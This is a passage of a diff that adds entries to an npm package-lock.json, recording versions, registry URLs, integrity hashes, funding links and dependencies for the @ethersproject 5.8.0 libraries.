3030+ "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==",
3031+ "license": "MIT",
3032+ "engines": {
3033+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
3034+ }
3035+ },
3036+ "node_modules/@ethersproject/abi": {
3037+ "version": "5.8.0",
3038+ "resolved": "https://registry.npmjs.org/@ethersproject/abi/-/abi-5.8.0.tgz",
3039+ "integrity": "sha512-b9YS/43ObplgyV6SlyQsG53/vkSal0MNA1fskSC4mbnCMi8R+NkcH8K9FPYNESf6jUefBUniE4SOKms0E/KK1Q==",
3040+ "funding": [
3041+ {
3042+ "type": "individual",
3043+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3044+ },
3045+ {
3046+ "type": "individual",
3047+ "url": "https://www.buymeacoffee.com/ricmoo"
3048+ }
3049+ ],
3050+ "license": "MIT",
3051+ "dependencies": {
3052+ "@ethersproject/address": "^5.8.0",
3053+ "@ethersproject/bignumber": "^5.8.0",
3054+ "@ethersproject/bytes": "^5.8.0",
3055+ "@ethersproject/constants": "^5.8.0",
3056+ "@ethersproject/hash": "^5.8.0",
3057+ "@ethersproject/keccak256": "^5.8.0",
3058+ "@ethersproject/logger": "^5.8.0",
3059+ "@ethersproject/properties": "^5.8.0",
3060+ "@ethersproject/strings": "^5.8.0"
3061+ }
3062+ },
3063+ "node_modules/@ethersproject/abstract-provider": {
3064+ "version": "5.8.0",
3065+ "resolved": "https://registry.npmjs.org/@ethersproject/abstract-provider/-/abstract-provider-5.8.0.tgz",
3066+ "integrity": "sha512-wC9SFcmh4UK0oKuLJQItoQdzS/qZ51EJegK6EmAWlh+OptpQ/npECOR3QqECd8iGHC0RJb4WKbVdSfif4ammrg==",
3067+ "funding": [
3068+ {
3069+ "type": "individual",
3070+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3071+ },
3072+ {
3073+ "type": "individual",
3074+ "url": "https://www.buymeacoffee.com/ricmoo"
3075+ }
3076+ ],
3077+ "license": "MIT",
3078+ "dependencies": {
3079+ "@ethersproject/bignumber": "^5.8.0",
3080+ "@ethersproject/bytes": "^5.8.0",
3081+ "@ethersproject/logger": "^5.8.0",
3082+ "@ethersproject/networks": "^5.8.0",
3083+ "@ethersproject/properties": "^5.8.0",
3084+ "@ethersproject/transactions": "^5.8.0",
3085+ "@ethersproject/web": "^5.8.0"
3086+ }
3087+ },
3088+ "node_modules/@ethersproject/abstract-signer": {
3089+ "version": "5.8.0",
3090+ "resolved": "https://registry.npmjs.org/@ethersproject/abstract-signer/-/abstract-signer-5.8.0.tgz",
3091+ "integrity": "sha512-N0XhZTswXcmIZQdYtUnd79VJzvEwXQw6PK0dTl9VoYrEBxxCPXqS0Eod7q5TNKRxe1/5WUMuR0u0nqTF/avdCA==",
3092+ "funding": [
3093+ {
3094+ "type": "individual",
3095+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3096+ },
3097+ {
3098+ "type": "individual",
3099+ "url": "https://www.buymeacoffee.com/ricmoo"
3100+ }
3101+ ],
3102+ "license": "MIT",
3103+ "dependencies": {
3104+ "@ethersproject/abstract-provider": "^5.8.0",
3105+ "@ethersproject/bignumber": "^5.8.0",
3106+ "@ethersproject/bytes": "^5.8.0",
3107+ "@ethersproject/logger": "^5.8.0",
3108+ "@ethersproject/properties": "^5.8.0"
3109+ }
3110+ },
3111+ "node_modules/@ethersproject/address": {
3112+ "version": "5.8.0",
3113+ "resolved": "https://registry.npmjs.org/@ethersproject/address/-/address-5.8.0.tgz",
3114+ "integrity": "sha512-GhH/abcC46LJwshoN+uBNoKVFPxUuZm6dA257z0vZkKmU1+t8xTn8oK7B9qrj8W2rFRMch4gbJl6PmVxjxBEBA==",
3115+ "funding": [
3116+ {
3117+ "type": "individual",
3118+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3119+ },
3120+ {
3121+ "type": "individual",
3122+ "url": "https://www.buymeacoffee.com/ricmoo"
3123+ }
3124+ ],
3125+ "license": "MIT",
3126+ "dependencies": {
3127+ "@ethersproject/bignumber": "^5.8.0",
3128+ "@ethersproject/bytes": "^5.8.0",
3129+ "@ethersproject/keccak256": "^5.8.0",
3130+ "@ethersproject/logger": "^5.8.0",
3131+ "@ethersproject/rlp": "^5.8.0"
3132+ }
3133+ },
3134+ "node_modules/@ethersproject/base64": {
3135+ "version": "5.8.0",
3136+ "resolved": "https://registry.npmjs.org/@ethersproject/base64/-/base64-5.8.0.tgz",
3137+ "integrity": "sha512-lN0oIwfkYj9LbPx4xEkie6rAMJtySbpOAFXSDVQaBnAzYfB4X2Qr+FXJGxMoc3Bxp2Sm8OwvzMrywxyw0gLjIQ==",
3138+ "funding": [
3139+ {
3140+ "type": "individual",
3141+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3142+ },
3143+ {
3144+ "type": "individual",
3145+ "url": "https://www.buymeacoffee.com/ricmoo"
3146+ }
3147+ ],
3148+ "license": "MIT",
3149+ "dependencies": {
3150+ "@ethersproject/bytes": "^5.8.0"
3151+ }
3152+ },
3153+ "node_modules/@ethersproject/basex": {
3154+ "version": "5.8.0",
3155+ "resolved": "https://registry.npmjs.org/@ethersproject/basex/-/basex-5.8.0.tgz",
3156+ "integrity": "sha512-PIgTszMlDRmNwW9nhS6iqtVfdTAKosA7llYXNmGPw4YAI1PUyMv28988wAb41/gHF/WqGdoLv0erHaRcHRKW2Q==",
3157+ "funding": [
3158+ {
3159+ "type": "individual",
3160+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3161+ },
3162+ {
3163+ "type": "individual",
3164+ "url": "https://www.buymeacoffee.com/ricmoo"
3165+ }
3166+ ],
3167+ "license": "MIT",
3168+ "dependencies": {
3169+ "@ethersproject/bytes": "^5.8.0",
3170+ "@ethersproject/properties": "^5.8.0"
3171+ }
3172+ },
3173+ "node_modules/@ethersproject/bignumber": {
3174+ "version": "5.8.0",
3175+ "resolved": "https://registry.npmjs.org/@ethersproject/bignumber/-/bignumber-5.8.0.tgz",
3176+ "integrity": "sha512-ZyaT24bHaSeJon2tGPKIiHszWjD/54Sz8t57Toch475lCLljC6MgPmxk7Gtzz+ddNN5LuHea9qhAe0x3D+uYPA==",
3177+ "funding": [
3178+ {
3179+ "type": "individual",
3180+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3181+ },
3182+ {
3183+ "type": "individual",
3184+ "url": "https://www.buymeacoffee.com/ricmoo"
3185+ }
3186+ ],
3187+ "license": "MIT",
3188+ "dependencies": {
3189+ "@ethersproject/bytes": "^5.8.0",
3190+ "@ethersproject/logger": "^5.8.0",
3191+ "bn.js": "^5.2.1"
3192+ }
3193+ },
3194+ "node_modules/@ethersproject/bignumber/node_modules/bn.js": {
3195+ "version": "5.2.2",
3196+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
3197+ "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
3198+ "license": "MIT"
3199+ },
3200+ "node_modules/@ethersproject/bytes": {
3201+ "version": "5.8.0",
3202+ "resolved": "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.8.0.tgz",
3203+ "integrity": "sha512-vTkeohgJVCPVHu5c25XWaWQOZ4v+DkGoC42/TS2ond+PARCxTJvgTFUNDZovyQ/uAQ4EcpqqowKydcdmRKjg7A==",
3204+ "funding": [
3205+ {
3206+ "type": "individual",
3207+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3208+ },
3209+ {
3210+ "type": "individual",
3211+ "url": "https://www.buymeacoffee.com/ricmoo"
3212+ }
3213+ ],
3214+ "license": "MIT",
3215+ "dependencies": {
3216+ "@ethersproject/logger": "^5.8.0"
3217+ }
3218+ },
3219+ "node_modules/@ethersproject/constants": {
3220+ "version": "5.8.0",
3221+ "resolved": "https://registry.npmjs.org/@ethersproject/constants/-/constants-5.8.0.tgz",
3222+ "integrity": "sha512-wigX4lrf5Vu+axVTIvNsuL6YrV4O5AXl5ubcURKMEME5TnWBouUh0CDTWxZ2GpnRn1kcCgE7l8O5+VbV9QTTcg==",
3223+ "funding": [
3224+ {
3225+ "type": "individual",
3226+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3227+ },
3228+ {
3229+ "type": "individual",
3230+ "url": "https://www.buymeacoffee.com/ricmoo"
3231+ }
3232+ ],
3233+ "license": "MIT",
3234+ "dependencies": {
3235+ "@ethersproject/bignumber": "^5.8.0"
3236+ }
3237+ },
3238+ "node_modules/@ethersproject/contracts": {
3239+ "version": "5.8.0",
3240+ "resolved": "https://registry.npmjs.org/@ethersproject/contracts/-/contracts-5.8.0.tgz",
3241+ "integrity": "sha512-0eFjGz9GtuAi6MZwhb4uvUM216F38xiuR0yYCjKJpNfSEy4HUM8hvqqBj9Jmm0IUz8l0xKEhWwLIhPgxNY0yvQ==",
3242+ "funding": [
3243+ {
3244+ "type": "individual",
3245+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3246+ },
3247+ {
3248+ "type": "individual",
3249+ "url": "https://www.buymeacoffee.com/ricmoo"
3250+ }
3251+ ],
3252+ "license": "MIT",
3253+ "dependencies": {
3254+ "@ethersproject/abi": "^5.8.0",
3255+ "@ethersproject/abstract-provider": "^5.8.0",
3256+ "@ethersproject/abstract-signer": "^5.8.0",
3257+ "@ethersproject/address": "^5.8.0",
3258+ "@ethersproject/bignumber": "^5.8.0",
3259+ "@ethersproject/bytes": "^5.8.0",
3260+ "@ethersproject/constants": "^5.8.0",
3261+ "@ethersproject/logger": "^5.8.0",
3262+ "@ethersproject/properties": "^5.8.0",
3263+ "@ethersproject/transactions": "^5.8.0"
3264+ }
3265+ },
3266+ "node_modules/@ethersproject/hash": {
3267+ "version": "5.8.0",
3268+ "resolved": "https://registry.npmjs.org/@ethersproject/hash/-/hash-5.8.0.tgz",
3269+ "integrity": "sha512-ac/lBcTbEWW/VGJij0CNSw/wPcw9bSRgCB0AIBz8CvED/jfvDoV9hsIIiWfvWmFEi8RcXtlNwp2jv6ozWOsooA==",
3270+ "funding": [
3271+ {
3272+ "type": "individual",
3273+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3274+ },
3275+ {
3276+ "type": "individual",
3277+ "url": "https://www.buymeacoffee.com/ricmoo"
3278+ }
3279+ ],
3280+ "license": "MIT",
3281+ "dependencies": {
3282+ "@ethersproject/abstract-signer": "^5.8.0",
3283+ "@ethersproject/address": "^5.8.0",
3284+ "@ethersproject/base64": "^5.8.0",
3285+ "@ethersproject/bignumber": "^5.8.0",
3286+ "@ethersproject/bytes": "^5.8.0",
3287+ "@ethersproject/keccak256": "^5.8.0",
3288+ "@ethersproject/logger": "^5.8.0",
3289+ "@ethersproject/properties": "^5.8.0",
3290+ "@ethersproject/strings": "^5.8.0"
3291+ }
3292+ },
3293+ "node_modules/@ethersproject/hdnode": {
3294+ "version": "5.8.0",
3295+ "resolved": "https://registry.npmjs.org/@ethersproject/hdnode/-/hdnode-5.8.0.tgz",
3296+ "integrity": "sha512-4bK1VF6E83/3/Im0ERnnUeWOY3P1BZml4ZD3wcH8Ys0/d1h1xaFt6Zc+Dh9zXf9TapGro0T4wvO71UTCp3/uoA==",
3297+ "funding": [
3298+ {
3299+ "type": "individual",
3300+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3301+ },
3302+ {
3303+ "type": "individual",
3304+ "url": "https://www.buymeacoffee.com/ricmoo"
3305+ }
3306+ ],
3307+ "license": "MIT",
3308+ "dependencies": {
3309+ "@ethersproject/abstract-signer": "^5.8.0",
3310+ "@ethersproject/basex": "^5.8.0",
3311+ "@ethersproject/bignumber": "^5.8.0",
3312+ "@ethersproject/bytes": "^5.8.0",
3313+ "@ethersproject/logger": "^5.8.0",
3314+ "@ethersproject/pbkdf2": "^5.8.0",
3315+ "@ethersproject/properties": "^5.8.0",
3316+ "@ethersproject/sha2": "^5.8.0",
3317+ "@ethersproject/signing-key": "^5.8.0",
3318+ "@ethersproject/strings": "^5.8.0",
3319+ "@ethersproject/transactions": "^5.8.0",
3320+ "@ethersproject/wordlists": "^5.8.0"
3321+ }
3322+ },
3323+ "node_modules/@ethersproject/json-wallets": {
3324+ "version": "5.8.0",
3325+ "resolved": "https://registry.npmjs.org/@ethersproject/json-wallets/-/json-wallets-5.8.0.tgz",
3326+ "integrity": "sha512-HxblNck8FVUtNxS3VTEYJAcwiKYsBIF77W15HufqlBF9gGfhmYOJtYZp8fSDZtn9y5EaXTE87zDwzxRoTFk11w==",
3327+ "funding": [
3328+ {
3329+ "type": "individual",
3330+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3331+ },
3332+ {
3333+ "type": "individual",
3334+ "url": "https://www.buymeacoffee.com/ricmoo"
3335+ }
3336+ ],
3337+ "license": "MIT",
3338+ "dependencies": {
3339+ "@ethersproject/abstract-signer": "^5.8.0",
3340+ "@ethersproject/address": "^5.8.0",
3341+ "@ethersproject/bytes": "^5.8.0",
3342+ "@ethersproject/hdnode": "^5.8.0",
3343+ "@ethersproject/keccak256": "^5.8.0",
3344+ "@ethersproject/logger": "^5.8.0",
3345+ "@ethersproject/pbkdf2": "^5.8.0",
3346+ "@ethersproject/properties": "^5.8.0",
3347+ "@ethersproject/random": "^5.8.0",
3348+ "@ethersproject/strings": "^5.8.0",
3349+ "@ethersproject/transactions": "^5.8.0",
3350+ "aes-js": "3.0.0",
3351+ "scrypt-js": "3.0.1"
3352+ }
3353+ },
3354+ "node_modules/@ethersproject/keccak256": {
3355+ "version": "5.8.0",
3356+ "resolved": "https://registry.npmjs.org/@ethersproject/keccak256/-/keccak256-5.8.0.tgz",
3357+ "integrity": "sha512-A1pkKLZSz8pDaQ1ftutZoaN46I6+jvuqugx5KYNeQOPqq+JZ0Txm7dlWesCHB5cndJSu5vP2VKptKf7cksERng==",
3358+ "funding": [
3359+ {
3360+ "type": "individual",
3361+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3362+ },
3363+ {
3364+ "type": "individual",
3365+ "url": "https://www.buymeacoffee.com/ricmoo"
3366+ }
3367+ ],
3368+ "license": "MIT",
3369+ "dependencies": {
3370+ "@ethersproject/bytes": "^5.8.0",
3371+ "js-sha3": "0.8.0"
3372+ }
3373+ },
3374+ "node_modules/@ethersproject/logger": {
3375+ "version": "5.8.0",
3376+ "resolved": "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.8.0.tgz",
3377+ "integrity": "sha512-Qe6knGmY+zPPWTC+wQrpitodgBfH7XoceCGL5bJVejmH+yCS3R8jJm8iiWuvWbG76RUmyEG53oqv6GMVWqunjA==",
3378+ "funding": [
3379+ {
3380+ "type": "individual",
3381+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3382+ },
3383+ {
3384+ "type": "individual",
3385+ "url": "https://www.buymeacoffee.com/ricmoo"
3386+ }
3387+ ],
3388+ "license": "MIT"
3389+ },
3390+ "node_modules/@ethersproject/networks": {
3391+ "version": "5.8.0",
3392+ "resolved": "https://registry.npmjs.org/@ethersproject/networks/-/networks-5.8.0.tgz",
3393+ "integrity": "sha512-egPJh3aPVAzbHwq8DD7Po53J4OUSsA1MjQp8Vf/OZPav5rlmWUaFLiq8cvQiGK0Z5K6LYzm29+VA/p4RL1FzNg==",
3394+ "funding": [
3395+ {
3396+ "type": "individual",
3397+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3398+ },
3399+ {
3400+ "type": "individual",
3401+ "url": "https://www.buymeacoffee.com/ricmoo"
3402+ }
3403+ ],
3404+ "license": "MIT",
3405+ "dependencies": {
3406+ "@ethersproject/logger": "^5.8.0"
3407+ }
3408+ },
3409+ "node_modules/@ethersproject/pbkdf2": {
3410+ "version": "5.8.0",
3411+ "resolved": "https://registry.npmjs.org/@ethersproject/pbkdf2/-/pbkdf2-5.8.0.tgz",
3412+ "integrity": "sha512-wuHiv97BrzCmfEaPbUFpMjlVg/IDkZThp9Ri88BpjRleg4iePJaj2SW8AIyE8cXn5V1tuAaMj6lzvsGJkGWskg==",
3413+ "funding": [
3414+ {
3415+ "type": "individual",
3416+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3417+ },
3418+ {
3419+ "type": "individual",
3420+ "url": "https://www.buymeacoffee.com/ricmoo"
3421+ }
3422+ ],
3423+ "license": "MIT",
3424+ "dependencies": {
3425+ "@ethersproject/bytes": "^5.8.0",
3426+ "@ethersproject/sha2": "^5.8.0"
3427+ }
3428+ },
3429+ "node_modules/@ethersproject/properties": {
3430+ "version": "5.8.0",
3431+ "resolved": "https://registry.npmjs.org/@ethersproject/properties/-/properties-5.8.0.tgz",
3432+ "integrity": "sha512-PYuiEoQ+FMaZZNGrStmN7+lWjlsoufGIHdww7454FIaGdbe/p5rnaCXTr5MtBYl3NkeoVhHZuyzChPeGeKIpQw==",
3433+ "funding": [
3434+ {
3435+ "type": "individual",
3436+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3437+ },
3438+ {
3439+ "type": "individual",
3440+ "url": "https://www.buymeacoffee.com/ricmoo"
3441+ }
3442+ ],
3443+ "license": "MIT",
3444+ "dependencies": {
3445+ "@ethersproject/logger": "^5.8.0"
3446+ }
3447+ },
3448+ "node_modules/@ethersproject/providers": {
3449+ "version": "5.8.0",
3450+ "resolved": "https://registry.npmjs.org/@ethersproject/providers/-/providers-5.8.0.tgz",
3451+ "integrity": "sha512-3Il3oTzEx3o6kzcg9ZzbE+oCZYyY+3Zh83sKkn4s1DZfTUjIegHnN2Cm0kbn9YFy45FDVcuCLLONhU7ny0SsCw==",
3452+ "funding": [
3453+ {
3454+ "type": "individual",
3455+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3456+ },
3457+ {
3458+ "type": "individual",
3459+ "url": "https://www.buymeacoffee.com/ricmoo"
3460+ }
3461+ ],
3462+ "license": "MIT",
3463+ "dependencies": {
3464+ "@ethersproject/abstract-provider": "^5.8.0",
3465+ "@ethersproject/abstract-signer": "^5.8.0",
3466+ "@ethersproject/address": "^5.8.0",
3467+ "@ethersproject/base64": "^5.8.0",
3468+ "@ethersproject/basex": "^5.8.0",
3469+ "@ethersproject/bignumber": "^5.8.0",
3470+ "@ethersproject/bytes": "^5.8.0",
3471+ "@ethersproject/constants": "^5.8.0",
3472+ "@ethersproject/hash": "^5.8.0",
3473+ "@ethersproject/logger": "^5.8.0",
3474+ "@ethersproject/networks": "^5.8.0",
3475+ "@ethersproject/properties": "^5.8.0",
3476+ "@ethersproject/random": "^5.8.0",
3477+ "@ethersproject/rlp": "^5.8.0",
3478+ "@ethersproject/sha2": "^5.8.0",
3479+ "@ethersproject/strings": "^5.8.0",
3480+ "@ethersproject/transactions": "^5.8.0",
3481+ "@ethersproject/web": "^5.8.0",
3482+ "bech32": "1.1.4",
3483+ "ws": "8.18.0"
3484+ }
3485+ },
3486+ "node_modules/@ethersproject/providers/node_modules/ws": {
3487+ "version": "8.18.0",
3488+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz",
3489+ "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==",
3490+ "license": "MIT",
3491+ "engines": {
3492+ "node": ">=10.0.0"
3493+ },
3494+ "peerDependencies": {
3495+ "bufferutil": "^4.0.1",
3496+ "utf-8-validate": ">=5.0.2"
3497+ },
3498+ "peerDependenciesMeta": {
3499+ "bufferutil": {
3500+ "optional": true
3501+ },
3502+ "utf-8-validate": {
3503+ "optional": true
3504+ }
3505+ }
3506+ },
3507+ "node_modules/@ethersproject/random": {
3508+ "version": "5.8.0",
3509+ "resolved": "https://registry.npmjs.org/@ethersproject/random/-/random-5.8.0.tgz",
3510+ "integrity": "sha512-E4I5TDl7SVqyg4/kkA/qTfuLWAQGXmSOgYyO01So8hLfwgKvYK5snIlzxJMk72IFdG/7oh8yuSqY2KX7MMwg+A==",
3511+ "funding": [
3512+ {
3513+ "type": "individual",
3514+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3515+ },
3516+ {
3517+ "type": "individual",
3518+ "url": "https://www.buymeacoffee.com/ricmoo"
3519+ }
3520+ ],
3521+ "license": "MIT",
3522+ "dependencies": {
3523+ "@ethersproject/bytes": "^5.8.0",
3524+ "@ethersproject/logger": "^5.8.0"
3525+ }
3526+ },
3527+ "node_modules/@ethersproject/rlp": {
3528+ "version": "5.8.0",
3529+ "resolved": "https://registry.npmjs.org/@ethersproject/rlp/-/rlp-5.8.0.tgz",
3530+ "integrity": "sha512-LqZgAznqDbiEunaUvykH2JAoXTT9NV0Atqk8rQN9nx9SEgThA/WMx5DnW8a9FOufo//6FZOCHZ+XiClzgbqV9Q==",
3531+ "funding": [
3532+ {
3533+ "type": "individual",
3534+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3535+ },
3536+ {
3537+ "type": "individual",
3538+ "url": "https://www.buymeacoffee.com/ricmoo"
3539+ }
3540+ ],
3541+ "license": "MIT",
3542+ "dependencies": {
3543+ "@ethersproject/bytes": "^5.8.0",
3544+ "@ethersproject/logger": "^5.8.0"
3545+ }
3546+ },
3547+ "node_modules/@ethersproject/sha2": {
3548+ "version": "5.8.0",
3549+ "resolved": "https://registry.npmjs.org/@ethersproject/sha2/-/sha2-5.8.0.tgz",
3550+ "integrity": "sha512-dDOUrXr9wF/YFltgTBYS0tKslPEKr6AekjqDW2dbn1L1xmjGR+9GiKu4ajxovnrDbwxAKdHjW8jNcwfz8PAz4A==",
3551+ "funding": [
3552+ {
3553+ "type": "individual",
3554+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3555+ },
3556+ {
3557+ "type": "individual",
3558+ "url": "https://www.buymeacoffee.com/ricmoo"
3559+ }
3560+ ],
3561+ "license": "MIT",
3562+ "dependencies": {
3563+ "@ethersproject/bytes": "^5.8.0",
3564+ "@ethersproject/logger": "^5.8.0",
3565+ "hash.js": "1.1.7"
3566+ }
3567+ },
3568+ "node_modules/@ethersproject/signing-key": {
3569+ "version": "5.8.0",
3570+ "resolved": "https://registry.npmjs.org/@ethersproject/signing-key/-/signing-key-5.8.0.tgz",
3571+ "integrity": "sha512-LrPW2ZxoigFi6U6aVkFN/fa9Yx/+4AtIUe4/HACTvKJdhm0eeb107EVCIQcrLZkxaSIgc/eCrX8Q1GtbH+9n3w==",
3572+ "funding": [
3573+ {
3574+ "type": "individual",
3575+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3576+ },
3577+ {
3578+ "type": "individual",
3579+ "url": "https://www.buymeacoffee.com/ricmoo"
3580+ }
3581+ ],
3582+ "license": "MIT",
3583+ "dependencies": {
3584+ "@ethersproject/bytes": "^5.8.0",
3585+ "@ethersproject/logger": "^5.8.0",
3586+ "@ethersproject/properties": "^5.8.0",
3587+ "bn.js": "^5.2.1",
3588+ "elliptic": "6.6.1",
3589+ "hash.js": "1.1.7"
3590+ }
3591+ },
3592+ "node_modules/@ethersproject/signing-key/node_modules/bn.js": {
3593+ "version": "5.2.2",
3594+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
3595+ "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
3596+ "license": "MIT"
3597+ },
3598+ "node_modules/@ethersproject/solidity": {
3599+ "version": "5.8.0",
3600+ "resolved": "https://registry.npmjs.org/@ethersproject/solidity/-/solidity-5.8.0.tgz",
3601+ "integrity": "sha512-4CxFeCgmIWamOHwYN9d+QWGxye9qQLilpgTU0XhYs1OahkclF+ewO+3V1U0mvpiuQxm5EHHmv8f7ClVII8EHsA==",
3602+ "funding": [
3603+ {
3604+ "type": "individual",
3605+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3606+ },
3607+ {
3608+ "type": "individual",
3609+ "url": "https://www.buymeacoffee.com/ricmoo"
3610+ }
3611+ ],
3612+ "license": "MIT",
3613+ "dependencies": {
3614+ "@ethersproject/bignumber": "^5.8.0",
3615+ "@ethersproject/bytes": "^5.8.0",
3616+ "@ethersproject/keccak256": "^5.8.0",
3617+ "@ethersproject/logger": "^5.8.0",
3618+ "@ethersproject/sha2": "^5.8.0",
3619+ "@ethersproject/strings": "^5.8.0"
3620+ }
3621+ },
3622+ "node_modules/@ethersproject/strings": {
3623+ "version": "5.8.0",
3624+ "resolved": "https://registry.npmjs.org/@ethersproject/strings/-/strings-5.8.0.tgz",
3625+ "integrity": "sha512-qWEAk0MAvl0LszjdfnZ2uC8xbR2wdv4cDabyHiBh3Cldq/T8dPH3V4BbBsAYJUeonwD+8afVXld274Ls+Y1xXg==",
3626+ "funding": [
3627+ {
3628+ "type": "individual",
3629+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3630+ },
3631+ {
3632+ "type": "individual",
3633+ "url": "https://www.buymeacoffee.com/ricmoo"
3634+ }
3635+ ],
3636+ "license": "MIT",
3637+ "dependencies": {
3638+ "@ethersproject/bytes": "^5.8.0",
3639+ "@ethersproject/constants": "^5.8.0",
3640+ "@ethersproject/logger": "^5.8.0"
3641+ }
3642+ },
3643+ "node_modules/@ethersproject/transactions": {
3644+ "version": "5.8.0",
3645+ "resolved": "https://registry.npmjs.org/@ethersproject/transactions/-/transactions-5.8.0.tgz",
3646+ "integrity": "sha512-UglxSDjByHG0TuU17bDfCemZ3AnKO2vYrL5/2n2oXvKzvb7Cz+W9gOWXKARjp2URVwcWlQlPOEQyAviKwT4AHg==",
3647+ "funding": [
3648+ {
3649+ "type": "individual",
3650+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3651+ },
3652+ {
3653+ "type": "individual",
3654+ "url": "https://www.buymeacoffee.com/ricmoo"
3655+ }
3656+ ],
3657+ "license": "MIT",
3658+ "dependencies": {
3659+ "@ethersproject/address": "^5.8.0",
3660+ "@ethersproject/bignumber": "^5.8.0",
3661+ "@ethersproject/bytes": "^5.8.0",
3662+ "@ethersproject/constants": "^5.8.0",
3663+ "@ethersproject/keccak256": "^5.8.0",
3664+ "@ethersproject/logger": "^5.8.0",
3665+ "@ethersproject/properties": "^5.8.0",
3666+ "@ethersproject/rlp": "^5.8.0",
3667+ "@ethersproject/signing-key": "^5.8.0"
3668+ }
3669+ },
3670+ "node_modules/@ethersproject/units": {
3671+ "version": "5.8.0",
3672+ "resolved": "https://registry.npmjs.org/@ethersproject/units/-/units-5.8.0.tgz",
3673+ "integrity": "sha512-lxq0CAnc5kMGIiWW4Mr041VT8IhNM+Pn5T3haO74XZWFulk7wH1Gv64HqE96hT4a7iiNMdOCFEBgaxWuk8ETKQ==",
3674+ "funding": [
3675+ {
3676+ "type": "individual",
3677+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3678+ },
3679+ {
3680+ "type": "individual",
3681+ "url": "https://www.buymeacoffee.com/ricmoo"
3682+ }
3683+ ],
3684+ "license": "MIT",
3685+ "dependencies": {
3686+ "@ethersproject/bignumber": "^5.8.0",
3687+ "@ethersproject/constants": "^5.8.0",
3688+ "@ethersproject/logger": "^5.8.0"
3689+ }
3690+ },
3691+ "node_modules/@ethersproject/wallet": {
3692+ "version": "5.8.0",
3693+ "resolved": "https://registry.npmjs.org/@ethersproject/wallet/-/wallet-5.8.0.tgz",
3694+ "integrity": "sha512-G+jnzmgg6UxurVKRKvw27h0kvG75YKXZKdlLYmAHeF32TGUzHkOFd7Zn6QHOTYRFWnfjtSSFjBowKo7vfrXzPA==",
3695+ "funding": [
3696+ {
3697+ "type": "individual",
3698+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3699+ },
3700+ {
3701+ "type": "individual",
3702+ "url": "https://www.buymeacoffee.com/ricmoo"
3703+ }
3704+ ],
3705+ "license": "MIT",
3706+ "dependencies": {
3707+ "@ethersproject/abstract-provider": "^5.8.0",
3708+ "@ethersproject/abstract-signer": "^5.8.0",
3709+ "@ethersproject/address": "^5.8.0",
3710+ "@ethersproject/bignumber": "^5.8.0",
3711+ "@ethersproject/bytes": "^5.8.0",
3712+ "@ethersproject/hash": "^5.8.0",
3713+ "@ethersproject/hdnode": "^5.8.0",
3714+ "@ethersproject/json-wallets": "^5.8.0",
3715+ "@ethersproject/keccak256": "^5.8.0",
3716+ "@ethersproject/logger": "^5.8.0",
3717+ "@ethersproject/properties": "^5.8.0",
3718+ "@ethersproject/random": "^5.8.0",
3719+ "@ethersproject/signing-key": "^5.8.0",
3720+ "@ethersproject/transactions": "^5.8.0",
3721+ "@ethersproject/wordlists": "^5.8.0"
3722+ }
3723+ },
3724+ "node_modules/@ethersproject/web": {
3725+ "version": "5.8.0",
3726+ "resolved": "https://registry.npmjs.org/@ethersproject/web/-/web-5.8.0.tgz",
